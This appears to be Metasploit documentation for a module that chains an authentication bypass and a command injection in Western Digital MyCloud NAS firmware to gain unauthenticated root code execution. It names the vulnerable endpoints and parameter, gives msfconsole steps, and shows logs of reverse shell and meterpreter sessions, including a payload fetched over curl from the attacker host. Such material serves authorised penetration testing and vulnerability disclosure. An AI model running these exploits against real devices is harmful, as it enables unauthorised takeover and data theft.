## Vulnerable Application
This module exploits authentication bypass (CVE-2018-17153) and command injection (CVE-2016-10108) vulnerabilities in
Western Digital MyCloud before 2.30.196 in order to achieve unauthenticated remote code execution as the root user.

The module first performs a check to see if the target is WD MyCloud.
If so, it attempts to trigger an authentication bypass (CVE-2018-17153) via a crafted GET request to /cgi-bin/network_mgr.cgi.
If the server responds as expected (with a 404 response), the module assesses the vulnerability status by attempting to exploit
a command injection vulnerability (CVE-2016-10108) in order to print a random string via the echo command.
This is done via a crafted POST request to /web/google_analytics.php where the command is injected into the `arg` POST parameter.

If the server is vulnerable, the same command injection vector is leveraged to execute the payload.

This module has been successfully tested against Western Digital MyCloud version 2.30.183.

Note: based on the available disclosures, it seems that the command injection vector (CVE-2016-10108) might be exploitable
without the authentication bypass (CVE-2018-17153) on versions before 2.21.126.
The obtained results on 2.30.183 imply that the patch for CVE-2016-10108 did not actually remove
the command injection vector, but only prevented unauthenticated access to it.
However, since older versions will also be vulnerable to CVE-2018-17153, this module always chains exploits for both issues.

- CVE-2016-10108 disclosure and PoC:
https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/

- CVE-2018-17153 disclosure and Poc:
https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/


## Installation Information
Western Digital no longer seems to offer older firmware versions for download to non-customers.
[This community post](https://community.wd.com/t/wd-my-cloud-v3-x-v4-x-and-v2-x-firmware-versions-download-links/148533)
contains download links to older firmware versions as well as to the source code, but only the links to the source code still work.

## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `exploit`

## Options
### TARGETURI
The base path to WD MyCloud. The default value is `/`.

## Targets
```
Id  Name
--  ----
0   Unix In-Memory
1   Linux Dropper
```

## Scenarios
### Western Digital MyCloud 2.30.183 - Unix In-Memory
```
msf exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > options 

Module options (exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.45      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to WD MyCloud
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  10.10.10.18      yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.10.18      yes       The listen address (an interface may be specified)
   LPORT  6000             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix In-Memory



View the full module info with the info, or info -d command.

msf exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > run

[*] Started reverse TCP handler on 10.10.10.18:6000 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] 10.10.10.45:443 - The target is WD MyCloud. Checking vulnerability status...
[*] 10.10.10.45:443 - Attempting to execute echo tLD1sR3mLQXV1AYFuHV46x5...
[+] The target is vulnerable. The target executed the echo command.
[*] 10.10.10.45:443 - Executing the payload. This may take a few seconds...
[*] Command shell session 1 opened (10.10.10.18:6000 -> 10.10.10.45:45402) at 2023-07-26 13:51:06 +0000
id
uid=0(root) gid=0(root) groups=0(root)
head /usr/local/config/config.xml
<config>
	<sw_ver_1>2.30.183</sw_ver_1>
	<sw_ver_2>2.30.183.0116.2018</sw_ver_2>
	<hw_ver>WDMyCloudEX4100</hw_ver>
	<eula>1</eula>
	<language>0</language>
	<registered>0</registered>
	<eula_fw>0</eula_fw>
	<eula_apps>0</eula_apps>
	<analytics>0</analytics>
```
### Western Digital MyCloud 2.30.183 - Linux Dropper
```
msf exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > options 

Module options (exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.45      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to WD MyCloud
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  10.10.10.18      yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.10.18      yes       The listen address (an interface may be specified)
   LPORT  6001             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper



View the full module info with the info, or info -d command.

msf exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > run

[*] Started reverse TCP handler on 10.10.10.18:6001 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] 10.10.10.45:443 - The target is WD MyCloud. Checking vulnerability status...
[*] 10.10.10.45:443 - Attempting to execute echo gkmp1ak8jprpqinbvmN84QXaWfgirEt...
[+] The target is vulnerable. The target executed the echo command.
[*] Using URL: http://10.10.10.18:8080/xFQRlaZ5ODY9ZQa
[*] Client 10.10.10.45 (curl/7.42.1) requested /xFQRlaZ5ODY9ZQa
[*] Sending payload to 10.10.10.45 (curl/7.42.1)
[*] Sending stage (934728 bytes) to 10.10.10.45
[*] Command Stager progress - 100.00% done (119/119 bytes)
[*] Meterpreter session 2 opened (10.10.10.18:6001 -> 10.10.10.45:43738) at 2023-07-26 13:51:59 +0000
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 10.10.10.45
OS           :  (Linux 3.10.39)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
```
